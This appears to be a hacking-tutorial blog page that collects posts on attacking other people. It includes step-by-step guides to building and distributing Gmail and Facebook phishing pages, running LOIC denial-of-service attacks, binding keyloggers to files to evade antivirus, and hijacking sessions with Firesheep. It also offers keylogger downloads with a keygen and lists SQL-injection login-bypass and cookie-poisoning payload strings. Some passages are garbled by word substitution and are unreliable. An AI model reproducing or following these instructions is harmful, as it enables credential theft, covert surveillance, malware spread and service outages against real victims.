Ardamax Keylogger Tutorial

I. Get Ardamax 2.8:

Ardamax Keylogger is the coolest tool for monitoring user activity on a computer. It records all keystrokes into an encrypted log file. A log file contains information about the user working on the computer, the time of typesetting and the used application. You can view it any time you want with the help of a built-in viewer program. Besides, Ardamax Keylogger logs information about the Internet addresses the user has visited. Using this tool you will always know who used the computer, when he used it and for what purpose.

Main keylogger features:

Invisible mode ? the keylogger can be absolutely invisible for users. Nobody will be able to see it in the Start menu, in the list of the installed programs, in the Startup list, in the Task Manager and on the drive where it is installed. You can easily switch on/off this mode using shortcuts.

Powerful Log Viewer ? you can view the log file visually. You can filter your records according to different criteria and view them within different periods of time. You can also export the log file into html and txt formats.

Security ? you can restrict access to a log file, to the exit from the hidden mode and to the keylogger settings by specifying a password.

Delivery ? you can deliver logs to any email address or upload them to an FTP server in definite periods of time. So you can monitor a remote computer.

Web Update - Ardamax Keylogger can check the availability of updates, download and install them automatically. Thus, the latest version of Ardamax Keylogger will always bse installed on your computer. In Hidden Mode the program will update itself transparently, and you won't even notice it.

Remote Installation ? creates a customizable installation package. The package contains only one file. You can send this file via e-mail and Ardamax Keylogger will silently get installed when the user opens the file. You can set the date for the keylogger to be automatically removed from the remote computer.

Read More

Hack Computers Inside LAN Network

Today,I will address about hacking computer central the LAN network.

This address will be demography advantage of Anchorage 139.

Most of the time,Port 139 will be opened.

First of all,I will do a anchorage scanning at the ambition computer which is 192.168.40.128.

This computer is central my LAN network.

I will browse it application Nmap.

I get the result and it shows Port 139 is opened up for me.

Read More

[tut] How to create Fake login page for any website

A Fake Login Page is a page that exactly resembles the original login page of sites like Yahoo,Gmail etc.However, these Fake login pages are created just for the purpose of stealing other’s passwords.

In my last post Facebook (Hacking) Fake Login Page/Fake Login Script ! i showed you to how to use fake login page of facebook..

But i was asked by many others that what about other sites, HOw would i create fake login page for other sites such as orkut,facebook,myspace,gmail and etc

So in this post i will show method to create Fake login page for desired site:

Read More

Hide Keyloggers and Trojans with Binders

You would have probably heard that never run a .exe file if you are not confirmed about the authenticity of the person who send you that particular file, The reason why you might have heard that because Trojans, Keylogger, Spywares and Adwares use .exe format by default


So what do you think are you completely safe that you run untrusted MP3,JPEG files?

The answer is no, Its because you never know that virus has came with which format, It can take any format, It could be in JPEG, It could be in MP3 and it could be in almost any Format, So in this article I will tell you how hackers hide Keyloggers,Trojans and other harmful viruses in other files

 What is a Binder?

 A Binder is a software used to bind or combine to or more files under one name and extension, The files to be binded can have any extension or icon, Its all up to you and you have the choice to select the name, icon and various attributes of binded file, The Binded files can be even worse when they are crypted, because Bintext would not be able to find it and at the same time it could also bypass antivirus detection then you are almost guaranteed to be infected


Popular Binders

Here are some of the popular binders used by hackers to hide keyloggers

and Trojans:

Simple Binder

Simple binder is one of my favorite binders of all time, I give thumbs up to the maker "Nathan", Its so easy to use and even a script kiddie can easily use it to bind keylogger or backdoors with other files


Weekend Binder

Weekend Binder can be used to bind two or more files under one extension and icon, If the binded file contains an application, the application also runs along with the actual binded files .


How to detect Crypted Binded files?

As I told you before that if a trojan or keylogger is binded with a file and it's crypted in order to bypass antivirus detection then its very difficult to detect it, However there is a great piece of software called resource hacker which is really effective when it comes to keylogger protection, It detects whether the file is binded or not.

Read More

Brute force attack

Brute Force Attack is the most widely known password cracking method. This attack simply tries to use every possible character combination as a password. To recover a one-character password it is enough to try 26 combinations (‘a’ to ‘z’). It is guaranteed that you will find the password


.. but when? How long will it take? The two-character password will require 26*26=676 combinations. The number of possible combinations (and therefore required time) grows rapidly as the length of the password increases and this method quickly becomes useless. Do you ready to wait for two months while your 9-character password is cracked? What about one hundred years for an 11-character password? Besides the maximal length of the character set you should also specify the character set i.e. the list of characters that will be included in the combinations. The longer the character set is, the longer the required period of time is. Here is the problem: usually you have no idea of what characters are present in the password. On the one hand, you should specify all possible characters. On the other hand, this can slow things down very much. Unfortunately, there are no common ways to determine what character set to use. It is more a question of luck and intuition. The only thing I can recommend is to begin with trying short passwords using the fullcharacter set. Then you can increase the length of password simultaneously decreasing the character set to keep the required time good acceptable.

If the password is case sensitive (this is the most common situation), there is another problem with the case.



There are three options:



1) you can assume that the password was typed in lower case (this is most likely). In this case, the required time will stay the same but if the password contains upper case letters it will not be recovered.

2) you can try all combinations.



The password is guaranteed to be found, but the process slows down significantly. A 7-character lower case password requires about 4 hours to be recovered but if you would like to try all combinations of upper case and lower case letters, it will require 23 days. 3) The third method is trade-off. Only the most probable combinations are taken into consideration, for example "password", "PASSWORD" and "Password". The complicated combinations like "pAssWOrD" are not. In this particular case the process slows down to one third of original speed but there is still a possibility to fail.


You can reduce the amount of time required using faster computers (only the CPU speed is important. The amount of RAM, the performance of the hard drive and other hardware don’t affect thebrute force speed), using several computers, choosing the fastest password crackers or tuning the brute force parameters wisely and accurately.

Read More

What is a Denial Of Service Attack?


A denial of service attack (DOS) is an attack through which a person can render a system unusable or significantly slow down the system for legitimate users by overloading the resources, so that no one can access it.
If an attacker is unable to gain access to a machine, the attacker most probably will just crash the machine to accomplish a denial of service attack,this one of the most used method forwebsite hacking

Types of denial of service attacks

There are several general categories of DoS attacks.Popularly, the attacks are divided into three classes:

bandwidth attacks,
protocol attacks
logic attacks


What is Distributed Denial of Service Attack?

To hack a website An attacker launches the attack using several machines. In this case, an attacker breaks into several machines, or coordinates with several zombies to launch an attack against a target or network at the same time.
This makes it difficult to detect because attacks originate from several IP addresses.
If a single IP address is attacking a company, it can block that address at its firewall. If it is 30000 this is extremely difficult.

Damages made By Denial of service attack:

Over past years Denial of service attack has made huge amount of damage,Many of the have been victimed of this attack
Its Real,On February 6th, 2000, Yahoo portal was shut down for 3 hours. Then retailer Buy.com Inc. (BUYX) was hit the next day, hours after going public. By that evening, eBay (EBAY), Amazon.com (AMZN), and CNN (TWX) had gone dark. And in the morning, the mayhem continued with online broker E*Trade (EGRP) and others having traffic to their sites virtually choked off.

This attack also recently hit twitter on 6th August 2009,lot of people had trouble on logging on twitter,It was brought down by denial of service attack,They tired up there server so no one can get on log on it.Websites like facebook,ebay etc have also been victim of this attack.

Hack a website with denial of service attack

Now i will show you how to hack a website with Denial of service attack. For this tutorial we will be using one of the most effective and one of the least known tools called "Low Orbit Ion Cannon", created by Anonymous members from 4chan.org, this program is one of the best for DDoS'ing, and I have successfully used it to DDoS websites. An internet connection as bad as mine (2,500 kb/s) was able to keep a site down for a day with this program running. Remember that this tool will work best with high internet speeds, and try not to go for impossible targets (like Google, Myspace,Yahoo). LOIC is used on a single computer, but with friends it's enough to give sites a great deal of downtime.

Prerequisites: Download LOIC (Low Orbit Ion Cannon). Open up LOIC.
(I am not giving a download link because then i will be accused for exiting hackers,try goggling).

Step 1: Type the target URL in the URL box.

Step 2: Click lock on.

Step 3: Change the threads to 9001 for maximum efficiency.

Step 4: Click the big button "IMMA FIRIN MAH LAZAR!"

Feel free to tweak around with these settings and play around with the program to get the best performance. Then minimize and go do whatever you need to do, the program will take care of the rest!

Read More

Common methods to hack a website

Gone are the days when website hacking was a sophisticated art. Today any body can access through the Internet and start hacking your website. All that is needed is doing a search on google with keywords like “how to hack website”, “hack into a website”, “Hacking a website” etc. The following article is not an effort to teach you website hacking, but it has more to do with raising awareness on some common website hacking methods.

The Simple SQL Injection Hack

SQL Injection involves entering SQL code into web forms, eg. login fields, or into the browser address field, to access and manipulate the database behind the site, system or application. 

When you enter text in the Username and Password fields of a login screen, the data you input is typically inserted into an SQL command. This command checks the data you've entered against the relevant table in the database. If your input matches table/row data, you're granted access (in the case of a login screen). If not, you're knocked back out.

In its simplest form, this is how the SQL Injection works. It's impossible to explain this without reverting to code for just a moment. Don't worry, it will all be over soon.

Suppose we enter the following string in a User name field:

' OR 1=1

The authorization SQL query that is run by the server, the command which must be satisfied to allow access, will be something along the lines of:

SELECT * FROM users WHERE username = ‘USRTEXT ' 

AND password = ‘PASSTEXT’

…where USRTEXT and PASSTEXT are what the user enters in the login fields of the web form.

So entering `OR 1=1 — as your username, could result in the following actually being run:

SELECT * FROM users WHERE username = ‘' OR 1=1 — 'AND password = '’

Two things you need to know about this:

['] closes the [user-name] text field.

'' is the SQL convention for Commenting code, and everything after Comment is ignored. So the actual routine now becomes:

SELECT * FROM users WHERE user name = '' OR 1=1

1 is always equal to 1, last time I checked. So the authorization routine is now validated, and we are ushered in the front door to wreck havoc. 

Let's hope you got the gist of that, and move briskly on.

Brilliant! I'm gonna go hack me a Bank!

Slow down, cowboy. This half-cooked method won't beat the systems they have in place up at Citibank,

evidently

But the process does serve to illustrate just what SQL Injection is all about — injecting code to manipulate a routine via a form, or indeed via the URL. In terms of login bypass via Injection, the hoary old ' OR 1=1 is just one option. If a hacker thinks a site is vulnerable, there are cheat-sheets all over the web for login strings which can gain access to weak systems. Here are a couple more common strings which are used to dupe SQL validation routines:

username field examples:

• admin'—
• ') or ('a'='a
• ”) or (“a”=”a
• hi” or “a”=”a

… and so on.

Cross site scripting ( XSS ):

Cross-site scripting or XSS is a threat to a website's security. It is the most common and popular hacking a websiteto gain access information from a user on a website. There are hackers with malicious objectives that utilize this to attack certain websites on the Internet. But mostly good hackers do this to find security holes for websites and help them find solutions. Cross-site scripting is a security loophole on a website that is hard to detect and stop, making the site vulnerable to attacks from malicious hackers. This security threat leaves the site and its users open to identity theft, financial theft and data theft. It would be advantageous for website owners to understand how cross-site scripting works and how it can affect them and their users so they could place the necessary security systems to block cross-site scripting on their website.

Denial of service ( Ddos attack ):

A denial of service attack (DOS) is an attack through which a person can render a system unusable or significantly slow down the system for legitimate users by overloading the resources, so that no one can access it.this is not actually hacking a webite but it is used to take down a website.

If an attacker is unable to gain access to a machine, the attacker most probably will just crash the machine to accomplish a denial of service attack,this one of the most used method for website hacking

I recently wrote an article on Hack a website using denial of service

Cookie Poisoning:

Well, for a starters i can begin with saying that Cookie Poisoning is alot like SQL Injection

Both have 'OR'1'='1 or maybe '1'='1'

But in cookie poisoning you begin with alerting your cookies

Javascript:alert(document.cookie)

Then you will perharps see "username=JohnDoe" and "password=iloveJaneDoe"

in this case the cookie poisoning could be:

Javascript:void(document.cookie="username='OR'1'='1"); void(document.cookie="password='OR'1'='1");

It is also many versions of this kind... like for example

'

'1'='1'

'OR'1'='1

'OR'1'='1'OR'

and so on...

You may have to try 13 things before you get it completely right...

Password Cracking

Hashed strings can often be deciphered through 'brute forcing'. Bad news, eh? Yes, and particularly if your encrypted passwords/usernames are floating around in an unprotected file somewhere, and some Google hacker comes across it. 

You might think that just because your password now looks something like XWE42GH64223JHTF6533H in one of those files, it means that it can't be cracked? Wrong. Tools are freely available which will decipher a certain proportion of hashed and similarly encoded passwords.

A Few Defensive Measures

* If you utilize a web content management system, subscribe to the development blog. Update to new versions soon as possible.

* Update all 3rd party modules as a matter of course — any modules incorporating web forms or enabling member file uploads are a potential threat. Module vulnerabilities can offer access to your full database.

* Harden your Web CMS or publishing platform. For example, if you use WordPress, use this guide as a reference.

* If you have an admin login page for your custom built CMS, why not call it 'Flowers.php' or something, instead of “AdminLogin.php” etc.?

* Enter some confusing data into your login fields like the sample Injection strings shown above, and any else which you think might confuse the server. If you get an unusual error message disclosing server-generated code then this may betray vulnerability.

* Do a few Google hacks on your name and your website. Just in case…

* When in doubt, pull the yellow cable out! It won't do you any good, but hey, it rhymes.  

Read More

Facebook Hacking Using Firesheep

Firesheep Makes Facebook Hacking Easy

Recently a new firefox addon Firesheep have been a cause of thousands of email accounts, As reported by techcurnch, Firesheep has been downloaded more than 104,000 times in roughly last 24 hours, With Firesheep the hacker can control any account without even knowing the username and password of the desired account, As Facebook is worlds most popular Social Networking website, therefore it has been the major victim of it, Firesheep uses Http Session hijacking attack to gain unauthorized access to a Facebook or any other account

What is Session Hijacking?

In a Http session hijacking attack an attacker steals victims cookies, Cookies stores all the necessary Information about one’s account , using this information you can hack anybody’s account and change his password. If you get the Cookies of the Victim you can Hack any account the Victim is Logged into i.e. you can hack Facebook Google, Yahoo, Orkut, Flickr etc or any other email account

How can a Hacker use Firesheep to Hack a Facebook or any other account?

Now I will tell you how can a hacker use firesheep to hack a facebook or any other account, You will need the following things:

* Public wifi access

* winpcap

* Firesheep

Download : http://www.webtlk.com/2010/11/03/download-firesheep-extension-for-firefox/

Method

1. First of all download "Firesheep" from the above link and use the "openwith" option in the firefox browser

2. Once you have installed firesheep on firefox web browser, Click on view at the top, then goto sidebar and click on Firesheep

3. Now click on the top left button "Start capturing" and it will start to capture the session cookies of people in your wifi network, This will show you the list of those people whose cookies are captured and have visited unsecured website known to firesheep, Double click on the photo and you will be logged in instantly

i hope u all vll lyk dis,comments vll b highly appreciated

Read More

Simple Keylogger v1.0.7 Incl. Keygen-Lz0

Simple Keylogger v1.0.7 Incl. Keygen-Lz0

Simple Key Logger is the most advanced key logger software on the internet. This is based on the usability and affordability ratings. Simple KeyLogger will allow you to monitor all keystoke activity on any computer.

Features:

* Captures all keystrokes

* Captures screenshots

* Facebook, Myspace, & IM monitoring

* Free phone and email assistance

* Free monthly updates to enhancements

* New easy to use interface

* Automatic hide on startup

* Stealth un-installation mode

* Application monitoring

Release name: Simple.Keylogger.v1.0.7.Incl.Keygen-Lz0

Size: 7.69 MB

                                   Download : http://adf.ly/CHGq

Read More

How To Hack Gmail Account Password Working 100 Percent

1st..

NOTE: This is for Educational Purpose Only. hackingfreaks.in is not responsible for any damage done by You.
Things That you Need for Hacking Gmail Account Password:
1. Gmail Phisher
2. Free Web hosting Site
3. Little bit of manual Work :P

Introduction to Phishing:-
If you know little bit of Hacking then Its must for you know About Phishing i.e What is Phishing and how it works and most important How you can protect yourself from getting into the Trap. I will try to explain all of these in my article.
First of all What are Phish pages and what is phishing?? Phish pages are basically the fake pages or virtual pages that looks similar to the original website Page. The only difference is the batch program running in the background i.e Original Webpage sends requests to Gmail server while Phish Page sends request to hacker’s php server. Now Phishing is a password hacking technique commonly used by hackers using phish pages that looks similar to original web page. The only difference is the URL in the address bar so Guys One Important Tip for you all always check the Address bar while going to any website .
Now What is Smart Phishing, Normal phishing page sends the password to hacker but it doesn’t redirects the page to original website but smart phishing does. Means victim can never know what really happened and his account is got hacked. He will only think that he has entered the wrong password as in second attempt the web page is original and he will be able to login and the most fantastic thing is that the original redirected page has username already entered in it that makes it even smarter.
Now lets come to how it works?? When a user types a Username Password in the the text box,The info is sent to “login.php” which acts as a password logger and redirects the page to “LoginFrame2.htm” which shows “There has been a temporary error Please Try Again” in it . So when the person clicks on try again it redirects to the actual URL so that the victim does not know that your site is a fake site and gets his gmail.com password hacked.
HACKING GMAIL ACCOUNT STEPWISE:
1. First of all download the Gmail Phisher.

Download From here

http://adf.ly/C0XV

2. Extract the rar file now you will get three files as given below:

* gmail.html
* log.txt
* mail.php

3. Upload all the Three files to any of the free Web hosting server. Remember while creating the account on these servers try the username as nearer as possible to the original URL like mail.gmaile or maile.gmall etc.. As its the most crucial step. Some Free Web hosting servers are given below you can also find few more for yourself.

* www.yourfreehosting.net
* www.esmartstart.com
* www.110mb.com
* www.drivehq.com
* www.t35.com

4. Once you have uploaded all the three files to web hosting server now you have to send these to your victim. This is the most important step regarding smart phishing technique.
Most People use same password for orkut and gmail and here is the main hack lies. What you have to do you have to send the HTML email to the victim which looks similar to the Orkut scrap to his email you can easily do this using simple editing to the existing mail. Just you have to change the link with your phish link and content according to the person likings so that he will surely come inside the trap.
Another technique is that you can send him a request to join a particular community in the format orkut does.
And Last but the most important one Send him mail from Gmail Admin such that “We have seen illegal activity from your account and you need to verify your account and your account is temporarily disabled after this login. To unlock your account Verify your Email and in that link put your Phish link. Now Guys you all will came to know How it works. If you want to Protect yourself its must that you should know what techniques a Hacker can use to hack your Gmail Account.
5. Now After sending phisher to victim, once the user logs in to his Gmail account using your Phisher, his user ID and password are ours..And these are stored in log.txt What you have to do is just refresh your Web hosting account files.

6. The Log.txt file will contain the passwords.

Thats all Now you have hacked the password of victim. I hope you all have Liked It.
How to Protect Your Gmail Account From Phisher??
1. Always check the URL in the address bar before entering username and password.
2. Never follow any link from your email and any website until u have confirmed the Address bar URL.
3. Never Follow spam mails and “Win lottery or Cash” mails.
If you have Any Queries Ask me in form Of Comments… Enjoy and have Happy ethical hacking.

Read More

TUT Facebook Worm

Credits And Everything Given In The Image

Read More

Facebook (Hacking) Fake Login Page/Fake Login Script !

Are you curious to “hack facebook password” well then this post is just for you,Most people ask me to tell us the easiest way to hack facebook password,so here are some ways to hack facebook password:

1.Facebook phishing

2.Keylogging

3.Facebook new features

4.virus

But i will explan you the method which has a great success

Update:Due to recent complains i have elobrated the post and change the login script to hack facebook password please check it out

Today we will focus on the But i will explan you the method which has a great success rate and is very easy to use i.e Phishing or fakelogin page

Fake login page

A Fake Login Page is a page that exactly resembles the original login page of sites like Yahoo,Gmail etc.

However, these Fake login pages are created just for the purpose of stealing other’s passwords.

PROCEDURE:

First of all download facebook fake login page from here

1.once you have downloded facebook fake login page now extract contents in a folder

2.In that. open “pass.php” and find (CTRL+F) ‘http://www.hackingfreaks.in‘ then change it to’http://www.Facebook.com‘

Note:‘http://www.facebook.com‘ is the redirection url,When victim will enter his/her email and password he will redirected to’http://www.facebook.com‘ instead of “http://www.hackingfreaks.in“

Now Save it.

3.Open Fake page in wordpad

4.Now press ctrl+F and search for the term “action=” now change its value to pass.php i.e. action=pass.php

5.Create an id in http://www.110mb.com/,http://www.ripway.com/ or t35.com

6.Then upload the contents into a directory

7.For that,after creating an id you should go to file manager and upload all these files.

8.Then just got to Facebook.htm and try out whether its working .

After you type the file , a password file named pass.txt will be created in the same directory .

you can see what username and password you have entered.

9. Distribute the Facebook.HTML URL (ie: yoursite.com/Facebook.HTML) to your friends.When they login from this fake login page, the login.php will save the username and password onto the .TXT file (or any other format) in your site. Download the file to see the password inside it.

Read More

Top 15 Security / Hacking Tools / Utilities / Software

1. Nmap

I think everyone has heard of this one, recently evolved into the 4.x series.

Nmap (“Network Mapper”) is a free open source utility for network exploration or security auditing. It was designed to rapidly scan large networks, although it works fine against single hosts. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics. Nmap runs on most types of computers and both console and graphical versions are available. Nmap is free and open source.

Can be used by beginners (-sT) or by pros alike (–packet_trace). A very versatile tool, once you fully understand the results.

Get Nmap Here

2. Nessus Remote Security Scanner

Recently went closed source, but is still essentially free. Works with a client-server framework.

Nessus is the world’s most popular vulnerability scanner used in over 75,000 organizations world-wide. Many of the world’s largest organizations are realizing significant cost savings by using Nessus to audit business-critical enterprise devices and applications.

Get Nessus Here

3. John the Ripper

Yes, JTR 1.7 was recently released!

John the Ripper is a fast password cracker, currently available for many flavors of Unix (11 are officially supported, not counting different architectures), DOS, Win32, BeOS, and OpenVMS. Its primary purpose is to detect weak Unix passwords. Besides several crypt(3) password hash types most commonly found on various Unix flavors, supported out of the box are Kerberos AFS and Windows NT/2000/XP/2003 LM hashes, plus several more with contributed patches.

You can get JTR Here

4. Nikto

Nikto is an Open Source (GPL) web server scanner which performs comprehensive tests against web servers for multiple items, including over 3200 potentially dangerous files/CGIs, versions on over 625 servers, and version specific problems on over 230 servers. Scan items and plugins are frequently updated and can be automatically updated (if desired).

Nikto is a good CGI scanner, there are some other tools that go well with Nikto (focus on http fingerprinting or Google hacking/info gathering etc, another article for just those).

Get Nikto Here

5. SuperScan

Powerful TCP port scanner, pinger, resolver. SuperScan 4 is an update of the highly popular Windows port scanning tool, SuperScan.

If you need an alternative for nmap on Windows with a decent interface, I suggest you check this out, it’s pretty nice.

Get SuperScan Here

6. p0f

P0f v2 is a versatile passive OS fingerprinting tool. P0f can identify the Operating System on:

– machines that connect to your box (SYN mode),
– machines you connect to (SYN+ACK mode),
– machine you cannot connect to (RST+ mode),
– machines whose communications you can observe.

Basically it can fingerprint anything, just by listening, it doesn’t make ANY active connections to the target machine.

Get p0f Here

7. Wireshark (Formely Ethereal)

Wireshark is a GTK+-based network protocol analyzer, or sniffer, that lets you capture and interactively browse the contents of network frames. The goal of the project is to create a commercial-quality analyzer for Unix and to give Wireshark features that are missing from closed-source sniffers.

Works great on both Linux and Windows (with a GUI), easy to use and can reconstruct TCP/IP Streams! Will do a tutorial on Wireshark later.

Get Wireshark Here

8. Yersinia

Yersinia is a network tool designed to take advantage of some weakeness in different Layer 2 protocols. It pretends to be a solid framework for analyzing and testing the deployed networks and systems. Currently, the following network protocols are implemented: Spanning Tree Protocol (STP), Cisco Discovery Protocol (CDP), Dynamic Trunking Protocol (DTP), Dynamic Host Configuration Protocol (DHCP), Hot Standby Router Protocol (HSRP), IEEE 802.1q, Inter-Switch Link Protocol (ISL), VLAN Trunking Protocol (VTP).

The best Layer 2 kit there is.

Get Yersinia Here

9. Eraser

Eraser is an advanced security tool (for Windows), which allows you to completely remove sensitive data from your hard drive by overwriting it several times with carefully selected patterns. Works with Windows 95, 98, ME, NT, 2000, XP and DOS. Eraser is Free Software and its source code is released under GNU General Public License.

An excellent tool for keeping your data really safe, if you’ve deleted it..make sure it’s really gone, you don’t want it hanging around to bite you in the ass.

Get Eraser Here.

10. PuTTY

PuTTY is a free implementation of Telnet and SSH for Win32 and Unix platforms, along with an xterm terminal emulator. A must have for any h4x0r wanting to telnet or SSH from Windows without having to use the crappy default MS command line clients.

Get PuTTY Here.

11. LCP

Main purpose of LCP program is user account passwords auditing and recovery in Windows NT/2000/XP/2003. Accounts information import, Passwords recovery, Brute force session distribution, Hashes computing.

A good free alternative to L0phtcrack.

LCP was briefly mentioned in our well read Rainbow Tables and RainbowCrack article.

Get LCP Here

12. Cain and Abel

My personal favourite for password cracking of any kind.

Cain & Abel is a password recovery tool for Microsoft Operating Systems. It allows easy recovery of various kind of passwords by sniffing the network, cracking encrypted passwords using Dictionary, Brute-Force and Cryptanalysis attacks, recording VoIP conversations, decoding scrambled passwords, revealing password boxes, uncovering cached passwords and analyzing routing protocols. The program does not exploit any software vulnerabilities or bugs that could not be fixed with little effort.

Get Cain and Abel Here

13. Kismet

Kismet is an 802.11 layer2 wireless network detector, sniffer, and intrusion detection system. Kismet will work with any wireless card which supports raw monitoring (rfmon) mode, and can sniff 802.11b, 802.11a, and 802.11g traffic.

A good wireless tool as long as your card supports rfmon (look for an orinocco gold).

Get Kismet Here

14. NetStumbler

Yes a decent wireless tool for Windows! Sadly not as powerful as it’s Linux counterparts, but it’s easy to use and has a nice interface, good for the basics of war-driving.

NetStumbler is a tool for Windows that allows you to detect Wireless Local Area Networks (WLANs) using 802.11b, 802.11a and 802.11g. It has many uses:

• Verify that your network is set up the way you intended.
• Find locations with poor coverage in your WLAN.
• Detect other networks that may be causing interference on your network.
• Detect unauthorized “rogue” access points in your workplace.
• Help aim directional antennas for long-haul WLAN links.
• Use it recreationally for WarDriving.

Get NetStumbler Here

15. hping

To finish off, something a little more advanced if you want to test your TCP/IP packet monkey skills.

hping is a command-line oriented TCP/IP packet assembler/analyzer. The interface is inspired to the ping unix command, but hping isn’t only able to send ICMP echo requests. It supports TCP, UDP, ICMP and RAW-IP protocols, has a traceroute mode, the ability to send files between a covered channel, and many other features.

Get hping Here

Read More

Network Hacking

Network Hacking is generally means gathering information about domain by using tools like Telnet, NslookUp, Ping, Tracert, Netstat, etc.
It also includes port scaning and port surfing using various tools.

Download Full TUT from Here :

CLICK HERE

Read More

HACK PASSWORDS USING FIREFOX

Whenever you log in to a website using your username and password, you’ll be prompted by Firefox whether you’d like Firefox to remember this password.

If you click on Remember, the next time you visit the website, it’ll automatically enter the username and password for your convenience.

Now, back to the topic. Let’s say you saved your Yahoo password in Firefox. After months or years gone by and you don’t remember the password you set for my Yahoo. You started to panic and desperately need to get back your Yahoo password.
Don’t worry, here’s how you can find the hidden Yahoo password in Firefox. Firefox is much better than Internet Explorer in terms of managing “remembered” logins. In Internet Explorer, there is no built-in feature where you can manage or view your saved login information. That’s why you need third party tools to reveal the passwords hidden under asterisks. As for Firefox, you can access remembered passwords with a few clicks.

To view your remembered passwords in Firefox browser, go to Tools, and click on Options. Go to Security tab and click on the Show Passwords button. A remember password dialog box will appear. Click on the Show Passwords button again and a new column with password will appear.

Read More

60 Great Gmail Hacks for Email Addicts

If you’re a Gmail user, you know that it’s a powerful email tool, even if you’re just using it for basic functions. However, there are so many options and hacks that you can take advantage of to take your email to the next level that it can be worth your while to learn a little bit more about what Gmail is really capable of doing. Read on to learn about 60 ways to hack Gmail for the better.

Shortcuts
Take these shortcuts to work in Gmail faster.

1. Keyboard Shortcuts: These shortcuts will help you avoid having to use your mouse in Gmail.
2. Use Quick Links: Quick Links can bookmark anything in Gmail to set up quick access.
3. See shortcuts: Type “?” to get a shortcut popup.
4. Set up custom shortcuts: You can set up custom keyboard shortcuts through Gmail’s settings.
5. Use EOM: Type “EOM” or (EOM) in the subject line of a subject-only message, and Gmail won’t ask you if you want to add text to the body.
6. Shift-click: You can select multiple messages using Shift-click.

Moving & Identity
Move over to Gmail and manage your identity using these hacks.

1. Change your Gmail email ID: This hack will help you find a solution for changing your Gmail ID.
2. Change your From and Reply to address: Tweak these settings to show the address you want.
3. Import your email: You can import mail and contacts from other email providers, and even have messages forwarded.

Automation
These hacks will help make Gmail work for you.

1. Set up repetitive emails: Set up AutoHotKey HotStrings to take care of repetitive email quickly.
2. Check your POP3 More Often: With this hack, you’ll be able to have Gmail check your POP3 accounts often.
3. Set Gmail as your default: Go into your settings to use Gmail for Mail To links.
4. Save notes in your drafts: Keep notes handy by saving them in your drafts.
5. Look at the title of your web browser: You can see the number of the new emails you have by looking at the title of your web browser.

Tools
These tools can ramp up your Gmail experience.

1. Resizeable Textarea: This extension will allow you to change your text area without resizing your browser window.
2. Better Gmail: Better Gmail adds features like hierarchical labels, unread messages, and more.
3. GMAIL Backup Tool: Backup your Gmail with these tools.
4. dragdropupload: With this add-on, you can drag and drop files directly to your Gmail.
5. GTDInbox for Gmail: Use this extension to use Getting Things Done productivity.
6. Greasemonkey: Make use of these Gmail scripts to make everything Gmail easier.

Composing
Put these hacks to work when writing emails.

1. Drag and drop: You can drag and drop attachments instead of using the attach button.
2. Change your default font and styling: This hack will allow you to change the default appearance of your emails.
3. Add an HTML Signature: With this hack, you’ll be able to add an HTML signature to your email.
4. Forward all: You can forward an entire conversation in a single email.
5. Insert images: Share screenshots and other images with this hack.
6. Create a mail merge: Use this hack for a mail merge in Gmail.
7. Quote selected text: In a long thread, just pull out the text you really want to respond to.
8. Use canned responses: Gmail has a new feature that allows you to save email templates and insert them right into your email.
9. Quickly address Gmail users: Send an email to another Gmail user just by entering their username.
10. Go offline: Take Gmail offline with Labs.
11. Send email from your phone: Gmail has a free IMAP sync with your phone’s email client.

Time Savers
With these hacks, you’ll save time in Gmail.

1. Preview attachments: Make sure you actually need to download a file by previewing them first.
2. See which emails are sent to you: With personal level indicators, you can find out if an email was sent to you directly.
3. Right click to read: Preview any email just by right clicking on it.
4. Mark unread from here: Mark messages unread from a certain point using this feature.
5. Convert to HTML: You can convert PDF, Word and more to HTML just by sending them as an attachment.
6. Download all of your attachments: Use this hack to download every attachment from Gmail.
7. Add multiple attachments to an email: Hold down your Ctrl key or Shift to add a group of attachments to your email.

Storage
These hacks will help you use Gmail as storage.

1. Scan your manuals: Create PDFs of your manuals and email them to yourself.
2. Mail yourself disallowed files: Certain files are not allowed to be mailed, but you can save them in your drafts folder.
3. Backup your messages: You can forward email to a different address just in case.
4. Use Gmail for MP3 or Storage: Here you’ll find out how to use GMail to store your MP3 files and play them.

Organization
You can keep Gmail well organized with these hacks.

1. Clean up by moving emails: Clean your inbox using Move to like folders.
2. Create aliases: You can create an infinite number of + aliases for Gmail.
3. Merge contacts: Use this hack to merge all of your duplicate email contacts.
4. Prefix labels: Use unique characters to bring labels up to the top of alphabetized lists.
5. Use Superstars: Choose between several star icons to flag your messages.
6. Sort by unread: Type “in:inbox is:unread” to filter all unread messages.
7. Create filters: Filter emails so you don’t have to move them to folders later.
8. Archive: Tidy up your inbox and put old email into storage using archiving.
9. Use stars: Indicate special emails with the help of stars.
10. Manage all your email accounts: Use Gmail to manage all of your accounts at once.
11. Use labels: Scan your inbox quickly using labels.

Read More

Hacking Software Hacking Tools and Programs

There are lot of software available for free which can be used for hacking.There software and tools are very useful when you are learning hacking concepts or trying to hack someone.Here are some useful hacking softwares which can be use for hacking.

1.Net Tools 5: This is the Best software I have used as it  contain all the basic software used for hacking.This all-in-one toolkit includes also a lot of handy file and system utilities next to the huge amount of network tools. The menus are fully configurable, so in this way you won’t get lost in the extremely large amount of essential tools. All the additional features will make this application a must have for all system administrators.This software is designed for the Microsoft Windows OS (Windows 98, NT, 2000, 2003, XP, Vista). It’s entirely compatible and has thoroughly been tested on Windows XP. With the 175+ tools it is a great collection of useful tools for network users. The size of Net Tools 5.0.70 is approximately 25 Mb.
It has around 200+ software and programs some of them are
1) IP Address Scanner
2) IP Calculator
3) IP Converter
4) Port Listener
5) Port Scanner
6) Ping
7) NetStat (2 ways)
8)Trace Route (2 ways)
9) TCP/IP Configuration
10) Online – Offline Checker
11) Resolve Host & IP
12) Time Sync
13) Whois & MX Lookup
14) Connect0r
15) Connection Analysator and protector
16) Net Sender
17) E-mail seeker
18) Net Pager
19) Active and Passive port scanner
20) Spoofer
21) Hack Trapper
22) HTTP flooder (DoS)
23) Mass Website Visiter
24) Advanced Port Scanner
25) Trojan Hunter (Multi IP)
26) Port Connecter Tool
27) Advanced Spoofer
28) Advanced Anonymous E-mailer
29) Simple Anonymous E-mailer
30) Anonymous E-mailer with Attachment Support etc

Download this Hacking Software from Here

[ download ]

More about this hacking software from here

http://www.mabsoft.com/nettools.htm

Read More